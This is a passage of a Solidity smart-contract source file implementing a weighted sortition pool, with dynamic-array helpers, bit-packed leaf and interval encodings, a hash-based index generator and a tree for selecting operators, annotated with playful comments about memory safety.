// uint256 surprise = danglingPointer[len];
// ```
// After the above code block,
// `dynamicArray.array[0]` may be either `x` or `z`,
// and `surprise` may be `y` or out of bounds.
// This will not share your address space with a malevolent agent of chaos,
// but it will cause entirely avoidable scratchings of the head.
//
// Dynamic arrays should be safe to use like ordinary arrays
// if you always refer to the array field of the dynamic array
// when reading or writing values:
// ```
// UintArray dynamicArray;
// uint256 len = dynamicArray.array.length;
// dynamicArray.array[0] = x;
// dynamicArray.push(y);
// dynamicArray.array[0] = z;
// uint256 notSurprise = dynamicArray.array[len];
// ```
// After this code `notSurprise` is reliably `y`,
// and `dynamicArray.array[0]` is `z`.
struct UintArray {
// XXX: Do not modify this value.
// In fact, do not even read it.
// There is never a legitimate reason to do anything with this value.
// She is quiet and wishes to be left alone.
// The silent vigil of `allocatedMemory`
// is the only thing standing between your contract
// and complete chaos in its memory.
// Respect her wish or face the monstrosities she is keeping at bay.
uint256 allocatedMemory;
// Unlike her sharp and vengeful sister,
// `array` is safe to use normally
// for anything you might do with a normal `uint256[]`.
// Reads and loops will check bounds,
// and writing in individual indices like `myArray.array[i] = x`
// is perfectly fine.
// No curse will befall you as long as you obey this rule:
//
// XXX: Never try to replace her or separate her from her sister
// by writing down the accursed words
// `myArray.array = anotherArray` or `lonelyArray = myArray.array`.
//
// If you do, your cattle will be diseased,
// your children will be led astray in the woods,
// and your memory will be silently overwritten.
// Instead, give her a friend with
// `mySecondArray = convert(anotherArray)`,
// and call her by her family name first.
// She will recognize your respect
// and ward your memory against corruption.
uint256[] array;
}
struct AddressArray {
uint256 allocatedMemory;
address[] array;
}
/// @notice Create an empty dynamic array,
/// with preallocated memory for up to `length` elements.
/// @dev Knowing or estimating the preallocated length in advance
/// helps avoid frequent early allocations when filling the array.
/// @param length The number of items to preallocate space for.
/// @return A new dynamic array.
function uintArray(uint256 length) internal pure returns (UintArray memory) {
uint256[] memory array = _allocateUints(length);
return UintArray(length, array);
}
function addressArray(uint256 length)
internal
pure
returns (AddressArray memory)
{
address[] memory array = _allocateAddresses(length);
return AddressArray(length, array);
}
/// @notice Convert an existing non-dynamic array into a dynamic array.
/// @dev The dynamic array is created
/// with allocated memory equal to the length of the array.
/// @param array The array to convert.
/// @return A new dynamic array,
/// containing the contents of the argument `array`.
function convert(uint256[] memory array)
internal
pure
returns (UintArray memory)
{
return UintArray(array.length, array);
}
function convert(address[] memory array)
internal
pure
returns (AddressArray memory)
{
return AddressArray(array.length, array);
}
/// @notice Push `item` into the dynamic array.
/// @dev This function will be safe
/// as long as you haven't scorned either of the sisters.
/// If you have, the dragons will be released
/// to wreak havoc upon your memory.
/// A spell to dispel the curse exists,
/// but a sacred vow prohibits it from being shared
/// with those who do not know how to discover it on their own.
/// @param self The dynamic array to push into;
/// after the call it will be mutated in place to contain the item,
/// allocating more memory behind the scenes if necessary.
/// @param item The item you wish to push into the array.
function arrayPush(UintArray memory self, uint256 item) internal pure {
uint256 length = self.array.length;
uint256 allocLength = self.allocatedMemory;
// The dynamic array is full so we need to allocate more first.
// We check for >= instead of ==
// so that we can put the require inside the conditional,
// reducing the gas costs of `push` slightly.
if (length >= allocLength) {
// This should never happen if `allocatedMemory` isn't messed with.
require(length == allocLength, "Array length exceeds allocation");
// Allocate twice the original array length,
// then copy the contents over.
uint256 newMemory = length * 2;
uint256[] memory newArray = _allocateUints(newMemory);
_copy(newArray, self.array);
self.array = newArray;
self.allocatedMemory = newMemory;
}
// We have enough free memory so we can push into the array.
_push(self.array, item);
}
function arrayPush(AddressArray memory self, address item) internal pure {
uint256 length = self.array.length;
uint256 allocLength = self.allocatedMemory;
if (length >= allocLength) {
require(length == allocLength, "Array length exceeds allocation");
uint256 newMemory = length * 2;
address[] memory newArray = _allocateAddresses(newMemory);
_copy(newArray, self.array);
self.array = newArray;
self.allocatedMemory = newMemory;
}
_push(self.array, item);
}
/// @notice Pop the last item from the dynamic array,
/// removing it and decrementing the array length in place.
/// @dev This makes the dragons happy
/// as they have more space to roam.
/// Thus they have no desire to escape and ravage your buffers.
/// @param self The array to pop from.
/// @return item The previously last element in the array.
function arrayPop(UintArray memory self)
internal
pure
returns (uint256 item)
{
uint256[] memory array = self.array;
uint256 length = array.length;
require(length > 0, "Can't pop from empty array");
return _pop(array);
}
function arrayPop(AddressArray memory self)
internal
pure
returns (address item)
{
address[] memory array = self.array;
uint256 length = array.length;
require(length > 0, "Can't pop from empty array");
return _pop(array);
}
/// @notice Allocate an empty array,
/// reserving enough memory to safely store `length` items.
/// @dev The array starts with zero length,
/// but the allocated buffer has space for `length` words.
/// "What be beyond the bounds of `array`?" you may ask.
/// The answer is: dragons.
/// But do not worry,
/// for `Array.allocatedMemory` protects your EVM from them.
function _allocateUints(uint256 length)
private
pure
returns (uint256[] memory array)
{
// Calculate the size of the allocated block.
// Solidity arrays without a specified constant length
// (i.e. `uint256[]` instead of `uint256[8]`)
// store the length at the first memory position
// and the contents of the array after it,
// so we add 1 to the length to account for this.
uint256 inMemorySize = (length + 1) * 0x20;
// solium-disable-next-line security/no-inline-assembly
assembly {
// Get some free memory
array := mload(0x40)
// Write a zero in the length field;
// we set the length elsewhere
// if we store anything in the array immediately.
// When we allocate we only know how many words we reserve,
// not how many actually get written.
mstore(array, 0)
// Move the free memory pointer
// to the end of the allocated block.
mstore(0x40, add(array, inMemorySize))
}
return array;
}
function _allocateAddresses(uint256 length)
private
pure
returns (address[] memory array)
{
uint256 inMemorySize = (length + 1) * 0x20;
// solium-disable-next-line security/no-inline-assembly
assembly {
array := mload(0x40)
mstore(array, 0)
mstore(0x40, add(array, inMemorySize))
}
return array;
}
/// @notice Unsafe function to copy the contents of one array
/// into an empty initialized array
/// with sufficient free memory available.
function _copy(uint256[] memory dest, uint256[] memory src) private pure {
// solium-disable-next-line security/no-inline-assembly
assembly {
let length := mload(src)
let byteLength := mul(length, 0x20)
// Store the resulting length of the array.
mstore(dest, length)
// Maintain a write pointer
// for the current write location in the destination array
// by adding the 32 bytes for the array length
// to the starting location.
let writePtr := add(dest, 0x20)
// Stop copying when the write pointer reaches
// the length of the source array.
// We can track the endpoint either from the write or read pointer.
// This uses the write pointer
// because that's the way it was done
// in the (public domain) code I stole this from.
let end := add(writePtr, byteLength)
for {
// Initialize a read pointer to the start of the source array,
// 32 bytes into its memory.
let readPtr := add(src, 0x20)
} lt(writePtr, end) {
// Increase both pointers by 32 bytes each iteration.
writePtr := add(writePtr, 0x20)
readPtr := add(readPtr, 0x20)
} {
// Write the source array into the dest memory
// 32 bytes at a time.
mstore(writePtr, mload(readPtr))
}
}
}
function _copy(address[] memory dest, address[] memory src) private pure {
// solium-disable-next-line security/no-inline-assembly
assembly {
let length := mload(src)
let byteLength := mul(length, 0x20)
mstore(dest, length)
let writePtr := add(dest, 0x20)
let end := add(writePtr, byteLength)
for {
let readPtr := add(src, 0x20)
} lt(writePtr, end) {
writePtr := add(writePtr, 0x20)
readPtr := add(readPtr, 0x20)
} {
mstore(writePtr, mload(readPtr))
}
}
}
/// @notice Unsafe function to push past the limit of an array.
/// Only use with preallocated free memory.
function _push(uint256[] memory array, uint256 item) private pure {
// solium-disable-next-line security/no-inline-assembly
assembly {
// Get array length
let length := mload(array)
let newLength := add(length, 1)
// Calculate how many bytes the array takes in memory,
// including the length field.
// This is equal to 32 * the incremented length.
let arraySize := mul(0x20, newLength)
// Calculate the first memory position after the array
let nextPosition := add(array, arraySize)
// Store the item in the available position
mstore(nextPosition, item)
// Increment array length
mstore(array, newLength)
}
}
function _push(address[] memory array, address item) private pure {
// solium-disable-next-line security/no-inline-assembly
assembly {
let length := mload(array)
let newLength := add(length, 1)
let arraySize := mul(0x20, newLength)
let nextPosition := add(array, arraySize)
mstore(nextPosition, item)
mstore(array, newLength)
}
}
function _pop(uint256[] memory array) private pure returns (uint256 item) {
uint256 length = array.length;
// solium-disable-next-line security/no-inline-assembly
assembly {
// Calculate the memory position of the last element
let lastPosition := add(array, mul(length, 0x20))
// Retrieve the last item
item := mload(lastPosition)
// Decrement array length
mstore(array, sub(length, 1))
}
return item;
}
function _pop(address[] memory array) private pure returns (address item) {
uint256 length = array.length;
// solium-disable-next-line security/no-inline-assembly
assembly {
let lastPosition := add(array, mul(length, 0x20))
item := mload(lastPosition)
mstore(array, sub(length, 1))
}
return item;
}
}
contract GasStation {
mapping(address => mapping(uint256 => uint256)) gasDeposits;
function depositGas(address addr) internal {
setDeposit(addr, 1);
}
function releaseGas(address addr) internal {
setDeposit(addr, 0);
}
function setDeposit(address addr, uint256 val) internal {
for (uint256 i = 0; i < gasDepositSize(); i++) {
gasDeposits[addr][i] = val;
}
}
function gasDepositSize() internal pure returns (uint256);
}
library Interval {
using DynamicArray for DynamicArray.UintArray;
////////////////////////////////////////////////////////////////////////////
// Parameters for configuration
// How many bits a position uses per level of the tree;
// each branch of the tree contains 2**SLOT_BITS slots.
uint256 constant SLOT_BITS = 3;
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
// Derived constants, do not touch
uint256 constant SLOT_COUNT = 2**SLOT_BITS;
uint256 constant SLOT_WIDTH = 256 / SLOT_COUNT;
uint256 constant SLOT_MAX = (2**SLOT_WIDTH) - 1;
uint256 constant WEIGHT_WIDTH = SLOT_WIDTH;
uint256 constant WEIGHT_MAX = SLOT_MAX;
uint256 constant START_INDEX_WIDTH = WEIGHT_WIDTH;
uint256 constant START_INDEX_MAX = WEIGHT_MAX;
uint256 constant START_INDEX_SHIFT = WEIGHT_WIDTH;
////////////////////////////////////////////////////////////////////////////
// Interval stores information about a selected interval
// inside a single uint256 in a manner similar to Leaf
// but optimized for use within group selection
//
// The information stored consists of:
// - weight
// - starting index
function make(uint256 startingIndex, uint256 weight)
internal
pure
returns (uint256)
{
uint256 idx = (startingIndex & START_INDEX_MAX) << START_INDEX_SHIFT;
uint256 wt = weight & WEIGHT_MAX;
return (idx | wt);
}
function opWeight(uint256 op) internal pure returns (uint256) {
return (op & WEIGHT_MAX);
}
// Return the starting index of the interval
function index(uint256 a) internal pure returns (uint256) {
return ((a >> WEIGHT_WIDTH) & START_INDEX_MAX);
}
function setIndex(uint256 op, uint256 i) internal pure returns (uint256) {
uint256 shiftedIndex = ((i & START_INDEX_MAX) << WEIGHT_WIDTH);
return (op & (~(START_INDEX_MAX << WEIGHT_WIDTH))) | shiftedIndex;
}
function insert(DynamicArray.UintArray memory intervals, uint256 interval)
internal
pure
{
uint256 tempInterval = interval;
for (uint256 i = 0; i < intervals.array.length; i++) {
uint256 thisInterval = intervals.array[i];
// We can compare the raw underlying uint256 values
// because the starting index is stored
// in the most significant nonzero bits.
if (tempInterval < thisInterval) {
intervals.array[i] = tempInterval;
tempInterval = thisInterval;
}
}
intervals.arrayPush(tempInterval);
}
function skip(uint256 truncatedIndex, DynamicArray.UintArray memory intervals)
internal
pure
returns (uint256 mappedIndex)
{
mappedIndex = truncatedIndex;
for (uint256 i = 0; i < intervals.array.length; i++) {
uint256 interval = intervals.array[i];
// If the index is greater than the starting index of the `i`th leaf,
// we need to skip that leaf.
if (mappedIndex >= index(interval)) {
// Add the weight of this previous leaf to the index,
// ensuring that we skip the leaf.
mappedIndex += Leaf.weight(interval);
} else {
break;
}
}
return mappedIndex;
}
/// @notice Recalculate the starting indices of the previousLeaves
/// when an interval is removed or added at the specified index.
/// @dev Applies weightDiff to each starting index in previousLeaves
/// that exceeds affectedStartingIndex.
/// @param affectedStartingIndex The starting index of the interval.
/// @param weightDiff The difference in weight;
/// negative for a deleted interval,
/// positive for an added interval.
/// @param previousLeaves The starting indices and weights
/// of the previously selected leaves.
/// @return The starting indices of the previous leaves
/// in a tree with the affected interval updated.
function remapIndices(
uint256 affectedStartingIndex,
int256 weightDiff,
DynamicArray.UintArray memory previousLeaves
) internal pure {
uint256 nPreviousLeaves = previousLeaves.array.length;
for (uint256 i = 0; i < nPreviousLeaves; i++) {
uint256 interval = previousLeaves.array[i];
uint256 startingIndex = index(interval);
// If index is greater than the index of the affected interval,
// update the starting index by the weight change.
if (startingIndex > affectedStartingIndex) {
uint256 newIndex = uint256(int256(startingIndex) + weightDiff);
previousLeaves.array[i] = setIndex(interval, newIndex);
}
}
}
}
library Leaf {
////////////////////////////////////////////////////////////////////////////
// Parameters for configuration
// How many bits a position uses per level of the tree;
// each branch of the tree contains 2**SLOT_BITS slots.
uint256 constant SLOT_BITS = 3;
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
// Derived constants, do not touch
uint256 constant SLOT_COUNT = 2**SLOT_BITS;
uint256 constant SLOT_WIDTH = 256 / SLOT_COUNT;
uint256 constant SLOT_MAX = (2**SLOT_WIDTH) - 1;
uint256 constant WEIGHT_WIDTH = SLOT_WIDTH;
uint256 constant WEIGHT_MAX = SLOT_MAX;
uint256 constant BLOCKHEIGHT_WIDTH = 96 - WEIGHT_WIDTH;
uint256 constant BLOCKHEIGHT_MAX = (2**BLOCKHEIGHT_WIDTH) - 1;
////////////////////////////////////////////////////////////////////////////
function make(
address _operator,
uint256 _creationBlock,
uint256 _weight
) internal pure returns (uint256) {
// Converting a bytesX type into a larger type
// adds zero bytes on the right.
uint256 op = uint256(bytes32(bytes20(_operator)));
// Bitwise AND the weight to erase
// all but the 32 least significant bits
uint256 wt = _weight & WEIGHT_MAX;
// Erase all but the 64 least significant bits,
// then shift left by 32 bits to make room for the weight
uint256 cb = (_creationBlock & BLOCKHEIGHT_MAX) << WEIGHT_WIDTH;
// Bitwise OR them all together to get
// [address operator || uint64 creationBlock || uint32 weight]
return (op | cb | wt);
}
function operator(uint256 leaf) internal pure returns (address) {
// Converting a bytesX type into a smaller type
// truncates it on the right.
return address(bytes20(bytes32(leaf)));
}
/// @notice Return the block number the leaf was created in.
function creationBlock(uint256 leaf) internal pure returns (uint256) {
return ((leaf >> WEIGHT_WIDTH) & BLOCKHEIGHT_MAX);
}
function weight(uint256 leaf) internal pure returns (uint256) {
// Weight is stored in the 32 least significant bits.
// Bitwise AND ensures that we only get the contents of those bits.
return (leaf & WEIGHT_MAX);
}
function setWeight(uint256 leaf, uint256 newWeight)
internal
pure
returns (uint256)
{
return ((leaf & ~WEIGHT_MAX) | (newWeight & WEIGHT_MAX));
}
}
library Position {
////////////////////////////////////////////////////////////////////////////
// Parameters for configuration
// How many bits a position uses per level of the tree;
// each branch of the tree contains 2**SLOT_BITS slots.
uint256 constant SLOT_BITS = 3;
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
// Derived constants, do not touch
uint256 constant SLOT_POINTER_MAX = (2**SLOT_BITS) - 1;
uint256 constant LEAF_FLAG = 1 << 255;
////////////////////////////////////////////////////////////////////////////
// Return the last 3 bits of a position number,
// corresponding to its slot in its parent
function slot(uint256 a) internal pure returns (uint256) {
return a & SLOT_POINTER_MAX;
}
// Return the parent of a position number
function parent(uint256 a) internal pure returns (uint256) {
return a >> SLOT_BITS;
}
// Return the location of the child of a at the given slot
function child(uint256 a, uint256 s) internal pure returns (uint256) {
return (a << SLOT_BITS) | (s & SLOT_POINTER_MAX); // slot(s)
}
// Return the uint p as a flagged position uint:
// the least significant 21 bits contain the position
// and the 22nd bit is set as a flag
// to distinguish the position 0x000000 from an empty field.
function setFlag(uint256 p) internal pure returns (uint256) {
return p | LEAF_FLAG;
}
// Turn a flagged position into an unflagged position
// by removing the flag at the 22nd least significant bit.
//
// We shouldn't _actually_ need this
// as all position-manipulating code should ignore non-position bits anyway
// but it's cheap to call so might as well do it.
function unsetFlag(uint256 p) internal pure returns (uint256) {
return p & (~LEAF_FLAG);
}
}
library RNG {
using DynamicArray for DynamicArray.UintArray;
////////////////////////////////////////////////////////////////////////////
// Parameters for configuration
// How many bits a position uses per level of the tree;
// each branch of the tree contains 2**SLOT_BITS slots.
uint256 constant SLOT_BITS = 3;
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
// Derived constants, do not touch
uint256 constant SLOT_COUNT = 2**SLOT_BITS;
uint256 constant WEIGHT_WIDTH = 256 / SLOT_COUNT;
////////////////////////////////////////////////////////////////////////////
struct State {
// RNG output
uint256 currentMappedIndex;
uint256 currentTruncatedIndex;
// The random bytes used to derive indices
bytes32 currentSeed;
// The full range of indices;
// generated random numbers are in [0, fullRange).
uint256 fullRange;
// The truncated range of indices;
// how many non-skipped indices are left to consider.
// Random indices are generated within this range,
// and mapped to the full range by skipping the specified intervals.
uint256 truncatedRange;
DynamicArray.UintArray skippedIntervals;
}
function initialize(
bytes32 seed,
uint256 range,
uint256 expectedSkippedCount
) internal view returns (State memory self) {
self = State(
0,
0,
seed,
range,
range,
DynamicArray.uintArray(expectedSkippedCount)
);
reseed(self, seed, 0);
return self;
}
function reseed(
State memory self,
bytes32 seed,
uint256 nonce
) internal view {
self.currentSeed = keccak256(
abi.encodePacked(seed, nonce, address(this), "reseed")
);
}
function retryIndex(State memory self) internal view {
uint256 truncatedIndex = self.currentTruncatedIndex;
if (self.currentTruncatedIndex < self.truncatedRange) {
self.currentMappedIndex = Interval.skip(
truncatedIndex,
self.skippedIntervals
);
} else {
generateNewIndex(self);
}
}
function updateInterval(
State memory self,
uint256 startIndex,
uint256 oldWeight,
uint256 newWeight
) internal pure {
int256 weightDiff = int256(newWeight) - int256(oldWeight);
uint256 effectiveStartIndex = startIndex + newWeight;
self.truncatedRange = uint256(int256(self.truncatedRange) + weightDiff);
self.fullRange = uint256(int256(self.fullRange) + weightDiff);
Interval.remapIndices(
effectiveStartIndex,
weightDiff,
self.skippedIntervals
);
}
function addSkippedInterval(
State memory self,
uint256 startIndex,
uint256 weight
) internal pure {
self.truncatedRange -= weight;
Interval.insert(self.skippedIntervals, Interval.make(startIndex, weight));
}
/// @notice Generate a new index based on the current seed,
/// without reseeding first.
/// This will result in the same truncated index as before
/// if it still fits in the current truncated range.
function generateNewIndex(State memory self) internal view {
uint256 _truncatedRange = self.truncatedRange;
require(_truncatedRange > 0, "Not enough operators in pool");
uint256 bits = bitsRequired(_truncatedRange);
uint256 truncatedIndex = truncate(bits, uint256(self.currentSeed));
while (truncatedIndex >= _truncatedRange) {
self.currentSeed = keccak256(
abi.encodePacked(self.currentSeed, address(this), "generate")
);
truncatedIndex = truncate(bits, uint256(self.currentSeed));
}
self.currentTruncatedIndex = truncatedIndex;
self.currentMappedIndex = Interval.skip(
truncatedIndex,
self.skippedIntervals
);
}
/// @notice Calculate how many bits are required
/// for an index in the range `[0 .. range-1]`.
///
/// @param range The upper bound of the desired range, exclusive.
///
/// @return uint The smallest number of bits
/// that can contain the number `range-1`.
function bitsRequired(uint256 range) internal pure returns (uint256) {
uint256 bits = WEIGHT_WIDTH - 1;
// Left shift by `bits`,
// so we have a 1 in the (bits + 1)th least significant bit
// and 0 in other bits.
// If this number is equal or greater than `range`,
// the range [0, range-1] fits in `bits` bits.
//
// Because we loop from high bits to low bits,
// we find the highest number of bits that doesn't fit the range,
// and return that number + 1.
while (1 << bits >= range) {
bits--;
}
return bits + 1;
}
/// @notice Truncate `input` to the `bits` least significant bits.
function truncate(uint256 bits, uint256 input)
internal
pure
returns (uint256)
{
return input & ((1 << bits) - 1);
}
/// @notice Get an index in the range `[0 .. range-1]`
/// and the new state of the RNG,
/// using the provided `state` of the RNG.
///
/// @param range The upper bound of the index, exclusive.
///
/// @param state The previous state of the RNG.
/// The initial state needs to be obtained
/// from a trusted randomness oracle (the random beacon),
/// or from a chain of earlier calls to `RNG.getIndex()`
/// on an originally trusted seed.
///
/// @dev Calculates the number of bits required for the desired range,
/// takes the least significant bits of `state`
/// and checks if the obtained index is within the desired range.
/// The original state is hashed with `keccak256` to get a new state.
/// If the index is outside the range,
/// the function retries until it gets a suitable index.
///
/// @return index A random integer between `0` and `range - 1`, inclusive.
///
/// @return newState The new state of the RNG.
/// When `getIndex()` is called one or more times,
/// care must be taken to always use the output `state`
/// of the most recent call as the input `state` of a subsequent call.
/// At the end of a transaction calling `RNG.getIndex()`,
/// the previous stored state must be overwritten with the latest output.
function getIndex(uint256 range, bytes32 state)
internal
view
returns (uint256, bytes32)
{
uint256 bits = bitsRequired(range);
bool found = false;
uint256 index = 0;
bytes32 newState = state;
while (!found) {
index = truncate(bits, uint256(newState));
newState = keccak256(abi.encodePacked(newState, address(this)));
if (index < range) {
found = true;
}
}
return (index, newState);
}
/// @notice Return an index corresponding to a new, unique leaf.
///
/// @dev Gets a new index in a truncated range
/// with the weights of all previously selected leaves subtracted.
/// This index is then mapped to the full range of possible indices,
/// skipping the ranges covered by previous leaves.
///
/// @param range The full range in which the unique index should be.
///
/// @param state The RNG state.
///
/// @param previousLeaves List of indices and weights
/// corresponding to the _first_ index of each previously selected leaf,
/// and the weight of the same leaf.
/// An index number `i` is a starting index of leaf `o`
/// if querying for index `i` in the sortition pool returns `o`,
/// but querying for `i-1` returns a different leaf.
/// This list REALLY needs to be sorted from smallest to largest.
///
/// @param sumPreviousWeights The sum of the weights of previous leaves.
/// Could be calculated from `previousLeafWeights`
/// but providing it explicitly makes the function a bit simpler.
///
/// @return uniqueIndex An index in [0, range) that does not overlap
/// any of the previousLeaves,
/// as determined by the range [index, index + weight).
function getUniqueIndex(
uint256 range,
bytes32 state,
uint256[] memory previousLeaves,
uint256 sumPreviousWeights
) internal view returns (uint256 uniqueIndex, bytes32 newState) {
// Get an index in the truncated range.
// The truncated range covers only new leaves,
// but has to be mapped to the actual range of indices.
uint256 truncatedRange = range - sumPreviousWeights;
uint256 truncatedIndex;
(truncatedIndex, newState) = getIndex(truncatedRange, state);
// Map the truncated index to the available unique indices.
uniqueIndex = Interval.skip(
truncatedIndex,
DynamicArray.convert(previousLeaves)
);
return (uniqueIndex, newState);
}
}
contract SortitionTree {
using StackLib for uint256[];
using Branch for uint256;
using Position for uint256;
using Leaf for uint256;
////////////////////////////////////////////////////////////////////////////
// Parameters for configuration
// How many bits a position uses per level of the tree;
// each branch of the tree contains 2**SLOT_BITS slots.
uint256 constant SLOT_BITS = 3;
uint256 constant LEVELS = 7;
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
// Derived constants, do not touch
uint256 constant SLOT_COUNT = 2**SLOT_BITS;
uint256 constant SLOT_WIDTH = 256 / SLOT_COUNT;
uint256 constant SLOT_MAX = (2**SLOT_WIDTH) - 1;
uint256 constant POOL_CAPACITY = SLOT_COUNT**LEVELS;
////////////////////////////////////////////////////////////////////////////
// implicit tree
// root 8
// level2 64
// level3 512
// level4 4k
// level5 32k
// level6 256k
// level7 2M
uint256 root;
mapping(uint256 => mapping(uint256 => uint256)) branches;
mapping(uint256 => uint256) leaves;
// the flagged (see setFlag() and unsetFlag() in Position.sol) positions
// of all operators present in the pool
mapping(address => uint256) flaggedLeafPosition;
// the leaf after the rightmost occupied leaf of each stack
uint256 rightmostLeaf;
// the empty leaves in each stack
// between 0 and the rightmost occupied leaf
uint256[] emptyLeaves;
constructor() public {
root = 0;
rightmostLeaf = 0;
}
// checks if operator is already registered in the pool
function isOperatorRegistered(address operator) public view returns (bool) {
return getFlaggedLeafPosition(operator) != 0;
}
// Sum the number of operators in each trunk
function operatorsInPool() public view returns (uint256) {
// Get the number of leaves that might be occupied;
// if `rightmostLeaf` equals `firstLeaf()` the tree must be empty,
// otherwise the difference between these numbers
// gives the number of leaves that may be occupied.
uint256 nPossiblyUsedLeaves = rightmostLeaf;
// Get the number of empty leaves
// not accounted for by the `rightmostLeaf`
uint256 nEmptyLeaves = emptyLeaves.getSize();
return (nPossiblyUsedLeaves - nEmptyLeaves);
}
function totalWeight() public view returns (uint256) {
return root.sumWeight();
}
function insertOperator(address operator, uint256 weight) internal {
require(
!isOperatorRegistered(operator),
"Operator is already registered in the pool"
);
uint256 position = getEmptyLeafPosition();
// Record the block the operator was inserted in
uint256 theLeaf = Leaf.make(operator, block.number, weight);
root = setLeaf(position, theLeaf, root);
// Without position flags,
// the position 0x000000 would be treated as empty
flaggedLeafPosition[operator] = position.setFlag();
}
function removeOperator(address operator) internal {
uint256 flaggedPosition = getFlaggedLeafPosition(operator);
require(flaggedPosition != 0, "Operator is not registered in the pool");
uint256 unflaggedPosition = flaggedPosition.unsetFlag();
root = removeLeaf(unflaggedPosition, root);
removeLeafPositionRecord(operator);
}
function updateOperator(address operator, uint256 weight) internal {
require(
isOperatorRegistered(operator),
"Operator is not registered in the pool"
);
uint256 flaggedPosition = getFlaggedLeafPosition(operator);
uint256 unflaggedPosition = flaggedPosition.unsetFlag();
updateLeaf(unflaggedPosition, weight);
}
function removeLeafPositionRecord(address operator) internal {
flaggedLeafPosition[operator] = 0;
}
function getFlaggedLeafPosition(address operator)
internal
view
returns (uint256)
{
return flaggedLeafPosition[operator];
}
function removeLeaf(uint256 position, uint256 _root)
internal
returns (uint256)
{
uint256 rightmostSubOne = rightmostLeaf - 1;
bool isRightmost = position == rightmostSubOne;
uint256 newRoot = setLeaf(position, 0, _root);
if (isRightmost) {
rightmostLeaf = rightmostSubOne;
} else {
emptyLeaves.stackPush(position);
}
return newRoot;
}
function updateLeaf(uint256 position, uint256 weight) internal {
uint256 oldLeaf = leaves[position];
if (oldLeaf.weight() != weight) {
uint256 newLeaf = oldLeaf.setWeight(weight);
root = setLeaf(position, newLeaf, root);
}
}
function setLeaf(
uint256 position,
uint256 theLeaf,
uint256 _root
) internal returns (uint256) {
uint256 childSlot;
uint256 treeNode;
uint256 newNode;
uint256 nodeWeight = theLeaf.weight();
// set leaf
leaves[position] = theLeaf;
uint256 parent = position;
// set levels 7 to 2
for (uint256 level = LEVELS; level >= 2; level--) {
childSlot = parent.slot();
parent = parent.parent();
treeNode = branches[level][parent];
newNode = treeNode.setSlot(childSlot, nodeWeight);
branches[level][parent] = newNode;
nodeWeight = newNode.sumWeight();
}
// set level Root
childSlot = parent.slot();
return _root.setSlot(childSlot, nodeWeight);
}
function pickWeightedLeaf(uint256 index, uint256 _root)
internal
view
returns (uint256 leafPosition, uint256 leafFirstIndex)
{
uint256 currentIndex = index;
uint256 currentNode = _root;
uint256 currentPosition = 0;
uint256 currentSlot;
require(index < currentNode.sumWeight(), "Index exceeds weight");
// get root slot
(currentSlot, currentIndex) = currentNode.pickWeightedSlot(currentIndex);
// get slots from levels 2 to 7
for (uint256 level = 2; level <= LEVELS; level++) {
currentPosition = currentPosition.child(currentSlot);
currentNode = branches[level][currentPosition];
(currentSlot, currentIndex) = currentNode.pickWeightedSlot(currentIndex);
}
// get leaf position
leafPosition = currentPosition.child(currentSlot);
// get the first index of the leaf
// This works because the last weight returned from `pickWeightedSlot()`
// equals the "overflow" from getting the current slot.
leafFirstIndex = index - currentIndex;
}
function getEmptyLeafPosition() internal returns (uint256) {
uint256 rLeaf = rightmostLeaf;
bool spaceOnRight = (rLeaf + 1) < POOL_CAPACITY;
if (spaceOnRight) {
rightmostLeaf = rLeaf + 1;
return rLeaf;
} else {
bool emptyLeavesInStack = leavesInStack();
require(emptyLeavesInStack, "Pool is full");
return emptyLeaves.stackPop();
}
}
function leavesInStack() internal view returns (bool) {
return emptyLeaves.getSize() > 0;
}
}
library StackLib {
function stackPeek(uint256[] storage _array) internal view returns (uint256) {
require(_array.length > 0, "No value to peek, array is empty");
return (_array[_array.length - 1]);
}
function stackPush(uint256[] storage _array, uint256 _element) public {
_array.push(_element);
}
function stackPop(uint256[] storage _array) internal returns (uint256) {
require(_array.length > 0, "No value to pop, array is empty");
uint256 value = _array[_array.length - 1];
_array.length -= 1;
return value;
}
function getSize(uint256[] storage _array) internal view returns (uint256) {
return _array.length;
}
}
interface IBonding {
// Gives the amount of ETH
// the `operator` has made available for bonding by the `bondCreator`.
// If the operator doesn't exist,
// or the bond creator isn't authorized,
// returns 0.
function availableUnbondedValue(
address operator,
address bondCreator,
address authorizedSortitionPool
) external view returns (uint256);
}
interface IStaking {
// Gives the amount of KEEP tokens staked by the `operator`
// eligible for work selection in the specified `operatorContract`.
//
// If the operator doesn't exist or hasn't finished initializing,
// or the operator contract hasn't been authorized for the operator,
// returns 0.
function eligibleStake(
address operator,
address operatorContract
) external view returns (uint256);
}
contract AbstractSortitionPool is SortitionTree, GasStation {
using Leaf for uint256;
using Position for uint256;
using DynamicArray for DynamicArray.UintArray;
using DynamicArray for DynamicArray.AddressArray;
using RNG for RNG.State;
enum Decision {
Select, // Add to the group, and use new seed
Skip, // Retry with same seed, skip this leaf
Delete, // Retry with same seed, delete this leaf
UpdateRetry, // Retry with same seed, update this leaf
UpdateSelect // Select and reseed, but also update this leaf
}
struct Fate {
Decision decision;
// The new weight of the leaf if Decision is Update*, otherwise 0
uint256 maybeWeight;
}
// Require 10 blocks after joining before the operator can be selected for
// a group. This reduces the degrees of freedom miners and other
// front-runners have in conducting pool-bumping attacks.
//
// We don't use the stack of empty leaves until we run out of space on the
// rightmost leaf (i.e. after 2 million operators have joined the pool).
// It means all insertions are at the right end, so one can't reorder
// operators already in the pool until the pool has been filled once.
// Because the index is calculated by taking the minimum number of required
// random bits, and seeing if it falls in the range of the total pool weight,
// the only scenarios where insertions on the right matter are if it crosses
// a power of two threshold for the total weight and unlocks another random
// bit, or if a random number that would otherwise be discarded happens to
// fall within that space.
uint256 constant INIT_BLOCKS = 10;
uint256 constant GAS_DEPOSIT_SIZE = 1;
/// @notice The number of blocks that must be mined before the operator who
// joined the pool is eligible for work selection.
function operatorInitBlocks() public pure returns (uint256) {
return INIT_BLOCKS;
}
// Return whether the operator is eligible for the pool.
function isOperatorEligible(address operator) public view returns (bool) {
return getEligibleWeight(operator) > 0;
}
// Return whether the operator is present in the pool.
function isOperatorInPool(address operator) public view returns (bool) {
return getFlaggedLeafPosition(operator) != 0;
}
// Return whether the operator's weight in the pool
// matches their eligible weight.
function isOperatorUpToDate(address operator) public view returns (bool) {
